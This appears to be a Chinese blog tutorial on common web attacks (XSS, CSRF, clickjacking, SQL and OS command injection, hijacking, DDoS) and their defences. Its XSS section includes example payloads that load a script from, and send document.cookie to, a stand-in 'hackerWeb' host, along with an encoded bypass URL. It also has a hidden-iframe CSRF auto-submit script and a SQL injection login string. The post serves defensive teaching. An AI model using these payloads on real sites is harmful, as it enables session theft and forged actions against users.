常见Web攻击和防御

最新推荐文章于 2024-07-29 10:52:37 发布

baimao__沧海

最新推荐文章于 2024-07-29 10:52:37 发布

阅读量1k

点赞数 26

文章标签：前端 web安全经验分享安全 android windows

本文链接：https://blog.csdn.net/baimao__Ch/article/details/139706234

版权

1. XSS 跨站脚本攻击 (Cross Site Scripting)

攻击方式

1. 反射型 - url参数注入

场景: 诱导已登陆用户点击有害链接(较明显)

链接内容:

注入攻击站脚本 http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
短域名伪造, 会重定向到有脚本注入的url https://dwz.cm

http://hackerweb/hack.js会窃取用户登录态信息等, 如document.cookie 利用img等html元素发送向hackerweb发送带有cookie信息的请求, 从而黑客后台可获取到登录态信息

2. 存储型 - 将script标签注入到数据库

场景:

在网站的评论里(任何能够保存内容的地方)输入带有攻击脚本的文本, 提交后存入数据库, 再次渲染时攻击脚本执行

危害

杀伤力较大, 相当于完全控制网站

获取cookie

document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接获取登录态

发送请求获取登录态 cookie

var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie

获取页面数据
修改前端逻辑
窃取一切前端可达数据：用户资料, 登录密码…

防御 (5种)

1. 转义字符防止在不必要的地方渲染script标签

尖括号 <script> 转义为 <p> 不允许渲染不受信任的脚本 - 转义html标签设置转义黑名单, 白名单:

// 黑名单
function escape(str) {
  str = str.replace(/&/g, '&amp;');
  str = str.replace(/</g, '&lt;');
  str = str.replace(/>/g, '&gt;');
  str = str.replace(/"/g, '&quto;');
  str = str.replace(/'/g, '&#39;');
  str = str.replace(/`/g, '&#96;');
  str = str.replace(/\//g, '&#x2F;');
  return str;
}

// 白名单
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html);

2. 防止执行跨站脚本: 设置 HTTP请求头 X-XSS-Protection

X-XSS-Protection report-uri

// ctx.set('X-XSS-Protection', 0) // 禁用XSS过滤
ctx.set('X-XSS-Protection', 1) // 默认 检测到XSS, 清除攻击脚本
ctx.set('X-XSS-Protection', '1;mode=block') // 检测到XSS, 禁止加载页面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 检测到XSS,清除页面并使用CSP report-uri 指令的功能发送违规 报告

测试:

攻击Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>

当网站发现在请求里面有脚本, 不会执行. 报错:

The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.

!!!但是!!! 伪装一下就不行了! 以下url还是可以攻击成功:

http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E

3. 防止执行跨站脚本: 设置 HTTP请求头 Content-Security-Policy CSP

内容安全策略Content-Security-Policy

ctx.set('Content-Security-Policy', "default-src 'self'") // 只允许加载本站资源
ctx.set('Content-Security-Policy', "img-src https://*") // 只允许加载HTTPS协议图片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不允许加载任何来源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多条规则

CSP指令:

default-src：为其他取指令提供备用服务fetch directives.
style-src: 限制层叠样式表文件源
script-src: 限制JavaScript的源地址.
connect-src：限制能通过脚本接口加载的URL.
img-src: 限制图片和图标的源地址
child-src: 为 web workers 和其他内嵌浏览器内容（例如用和加载到页面的内容）定义合法的源地址.
frame-src: 设置允许通过类似和标签加载的内嵌内容的源地址.
worker-src: 限制Worker、SharedWorker或者ServiceWorker脚本源.
更多: developer.mozilla.org/zh-CN/docs/…

检测到不符合安全策略的内容, 报错:

Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".

4. 防止窃取cookie: 设置相应请求头 Set-Cookie HttpOnly

预防cookie被窃取, 无法通过document.cookie获取信息, 浏览器依然会在请求自动带上cookie 是预防XSS攻击窃取用户cookie最有效的防御手段!

// 设置Cookie时, 设置为HttpOnly
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')

2. CSRF 跨站请求伪造 (Cross Site Request Forgery)

CSRF 利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作

攻击方式

场景:

用户已经登录了站点 A,并在本地记录了 cookie
在用户没有登出站点 A 的情况下（也就是 cookie 生效的情况下）,访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A).
站点 A 没有做任何 CSRF 防御

模拟发送请求(伪造请求), 因为普通用户已经登录, 模拟请求会带上登录态cookie, 从而可以操作(攻击)成功不直接获取cookie, 利用浏览器行为, 利用登录态

 document.write(`
      <form name="form" action="http://Aweb/updateText" method="post" target="csrf">
        添加评论: <input type="text" name="text" value="CSRF评论.." />
      </form>
      `)
      var iframe = document.createElement('iframe') // 静默加载
      iframe.name = 'csrf'
      iframe.style.display = 'none'
      document.body.appendChild(iframe)
      setTimeout(function() {
        document.querySelector('form').submit(); // 默默提交请求
      },1000)
    </script>

危害

利用用户登录态
用户不知情时攻击
完成业务请求
盗取用户资金（转账,消费）
冒充用户发帖背锅
损害网站声誉

防御

1. Referer Check

验证Header的 Referer字段是本站地址才允许通过

缺点:仅对Http有效, Https不发送referer

2. 验证码

请求需要验证码辅助

缺点: 用户体验不好, 较麻烦

一般只用于关键请求中

3. Cookie值进行hash

攻击者在访问信任网站A时, 虽然浏览器可以在请求中带上cookie, 但网站A可以不仅仅通过cookie来验证用户身份, 同时还验证给用户发送内容时生成的伪随机数, 双重验证, 这个伪随机数不能利用浏览器机制自动加到cookie上, 需要在脚本里面加上, 从而让CSRF攻击者无法利用伪随机数, 也就无法通过验证用于多数请求中

3. ClickJacking 点击劫持 (视觉欺骗)

攻击方式

既不窃取cookie也不利用cookie, 视觉上欺骗用户主动进行操作

场景:

在攻击网站上嵌入渲染网站A的frame, 并设置为透明, 在攻击网站设计一些按钮或input 精准对准网站A的按钮或input, 用户操作时实际上不知道自己在网站A做了什么, 从而达到欺骗用户的目的

危害

用户不知情时攻击, 执行了用户不希望的操作

防御

1. X-Frame-Options

X-Frame-Options

ctx.set('X-Frame-Options', 'deny') //表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许.
ctx.set('X-Frame-Options', 'sameorigin') // 表示该页面可以在相同域名页面的 frame 中展示.
ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示该页面可以在指定来源的 frame 中展示. !!!(Chrome不支持 Firefox支持)

2. js自身通过frame的方式加载内容是破坏自身

是一种比较原始的解决方案

 if(self !== top) { // 从frame加载
      self.document.body.style.display = 'NONE';// 隐藏或删除body的内容
      self.document.body.innerHTML = ''
    }

4. SQL注入

针对数据库的注入

攻击方式

场景: 输入特殊字符串, 传入后台拼接SQL查询字符串, 使其查询结果为真密码输入 1’ or ‘1’ = ‘1’ 后台查询密码时返回 ‘1’ = '1’的结果, 为真

危害

虚假登录
…

防御

1. 数据使用传参的方式, 不使用字符串拼接的方式

所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句.例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数.

2. 数据校验

后端代码检查输入的数据是否符合预期格式,严格限制变量的类型,例如使用正则表达式进行一些匹配处理

3. 严格的权限管理

严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害

4. 特殊字符转义

对进入数据库的特殊字符（',",<,>,&,*,; 等）进行转义处理,或编码转换.基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库.

5. OS命令注入

攻击方式

针对操作系统的注入 OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的. OS命令注入攻击指通过Web应用,执行非法的操作系统命令达到攻击的目的. 只要在能调用Shell函数的地方就有存在被攻击的风险.倘若调用Shell时存在疏漏,就可以执行插入的非法命令.

场景:

system命令注入

危害

恶意删除文件
恶意下载执行程序
…

防御

类似 SQL注入防御方法

6. 请求劫持 (DNS劫持 HTTP劫持)

DNS劫持

顾名思义, DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip

HTTP劫持

运营商劫持防御: 此时大概只能升级HTTPS了

7. DDOS (distributed denial of service)

DDOS 攻击的防范教程

不是一种攻击,而是一大类攻击的总称.它有几十种类型,新的攻击方法还在不断发明出来.网站运行的各个环节,都可以是攻击目标.只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的

常见攻击方式

SYN Flood

此攻击通过向目标发送具有欺骗性源IP地址的大量TCP"初始连接请求"SYN数据包来利用TCP握手.目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源.

HTTP Flood

此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服务.

防御

1. 备份网站

备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求.最低限度应该可以显示公告,告诉用户, 网站出了问题,正在全力抢修.

2. HTTP 请求的拦截高防IP -靠谱的运营商多个 Docker

硬件服务器防火墙

3. 带宽扩容 + CDN

提高犯罪成本

网络安全工程师(白帽子)企业级学习路线

第一阶段：安全基础（入门）

第二阶段：Web渗透（初级网安工程师）

第三阶段：进阶部分（中级网络安全工程师）

学习资源分享

第一阶段：安全基础（入门）

[外链图片转存中…(img-ZZbdyf5M-1718446508562)]

第二阶段：Web渗透（初级网安工程师）

[外链图片转存中…(img-V603blPH-1718446508563)]

第三阶段：进阶部分（中级网络安全工程师）

[外链图片转存中…(img-H1xPjiTm-1718446508563)]

学习资源分享

baimao__沧海

关注

26
点赞
踩
18

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

常见Web攻击和防御

1. XSS 跨站脚本攻击 (Cross Site Scripting)

攻击方式

1. 反射型 - url参数注入

2. 存储型 - 将script标签注入到数据库

危害

防御 (5种)

1. 转义字符 防止在不必要的地方渲染script标签

2. 防止执行跨站脚本: 设置 HTTP请求头 X-XSS-Protection

3. 防止执行跨站脚本: 设置 HTTP请求头 Content-Security-Policy CSP

4. 防止窃取cookie: 设置相应请求头 Set-Cookie HttpOnly

2. CSRF 跨站请求伪造 (Cross Site Request Forgery)

攻击方式

危害

防御

1. Referer Check

2. 验证码

3. Cookie值进行hash

3. ClickJacking 点击劫持 (视觉欺骗)

攻击方式

危害

防御

1. X-Frame-Options

2. js自身通过frame的方式加载内容是破坏自身

4. SQL注入

攻击方式

危害

防御

1. 数据使用传参的方式, 不使用字符串拼接的方式

2. 数据校验

3. 严格的权限管理

4. 特殊字符转义

5. OS命令注入

攻击方式

危害

防御

6. 请求劫持 (DNS劫持 HTTP劫持)

DNS劫持

HTTP劫持

7. DDOS (distributed denial of service)

常见攻击方式

SYN Flood

HTTP Flood

防御

1. 备份网站

2. HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker

3. 带宽扩容 + CDN

网络安全工程师(白帽子)企业级学习路线

第一阶段：安全基础（入门）

第二阶段：Web渗透（初级网安工程师）

第三阶段：进阶部分（中级网络安全工程师）

学习资源分享

第一阶段：安全基础（入门）

第二阶段：Web渗透（初级网安工程师）

第三阶段：进阶部分（中级网络安全工程师）

学习资源分享

1. 转义字符防止在不必要的地方渲染script标签

2. HTTP 请求的拦截高防IP -靠谱的运营商多个 Docker